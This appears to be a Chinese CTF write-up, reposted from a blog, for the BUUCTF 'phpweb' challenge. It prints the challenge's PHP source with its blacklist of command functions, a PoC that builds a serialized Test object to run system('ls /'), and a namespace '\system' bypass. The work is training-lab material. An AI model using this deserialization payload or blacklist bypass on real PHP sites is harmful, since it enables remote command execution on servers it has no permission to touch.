BUUCTF:[网鼎杯 2020 朱雀组]phpweb-------细致猜测,绕过黑名单,

一、缺点&&不足

  1. 抓包不细致,这个题,我抓到了第一个包,没有看到第二个包。

  2. 没有注意到data可能是个函数,没有进一步去网上查找函数,

  3. 要时时刻刻注意warning的字样,注意报错信息

  4. 绕过disabled_function 可以用命名空间 \system

二、WP

抓包,

在这里插入图片描述
貌似,date是个函数啊。随便一改,又有报错,而且是 call_users_func。这个在做那个啥杯的时候学习过了,不错的函数
在这里插入图片描述还是先复习一下call_users_func怎么用吧,,这不就找到了么。只写函数名和参数名就好了,不用带括号和什么的。
那就看看eval执行行不行啊。
在这里插入图片描述那就那就,读读源码,
show_source被过滤了,那就试试hightlight_file和 get_file_contents。试过实验,这两个都可以。都可以试试看

只是摘了PHP的那段下来了。:

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
/*这就有disabled_function了。那个绕过这个玩意的知识我偷懒没学呢,,,*/
function gettime($func, $p) {
    
    
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
    
    //result的类型需要时 string 类型
        return $result;
    } else {
    
    return "";}
}
/*看到了类中有  destruct 魔术方法,就想一下  反序列化漏洞吧。*/
class Test {
    
    
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
    
    
        if ($this->func != "") {
    
    
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    
    
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
    
    
        echo gettime($func, $p);
    }else {
    
    
        die("Hacker...");
    }
}
?>

总之,中规中矩,没什么花花肠子,只是不让用 黑名单中的字段 就好。

看到了类中有 destruct 魔术方法,就想一下 反序列化漏洞吧。

这不就有思路了么:
call_users_func( unserialize, ***************** )。后面是反序列化字符串,两个属性就是要执行的命令

你也可以看到。正常输入的话, Test这个类 根本就没用上 。 而且类里面的 __destruct() 这个魔术方法里面还有一个 call_users_func() 。这个也太明显了吧。直接来吧,不多说了,。

方法一、反序列化绕过

构造poc的过程:

class Test {
    
    
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
}
$a = new Test();
$a->func="system";
$a->p = "ls /";
echo serialize($a);
//output:O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

在这里插入图片描述

。。。。没有flag怎么办
在这里插入图片描述
然后就应该排着找了,,,,网上说 一般tmp对普通用户有权限 。那就看看吗
在这里插入图片描述
我的tmp里面没有,,,哭了,,那就用linux的搜索命令,,
在这里插入图片描述。。。我的没出来,,,
然后,cat flag就好了

算了算了,,,

方法二:命名空间绕过黑名单:

命名空间绕过黑名单:
了解了命名空间饿了
在这里插入图片描述

看wp再学习,
https://www.anquanke.com/post/id/205679
https://www.freesion.com/article/6379840490/

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/113814299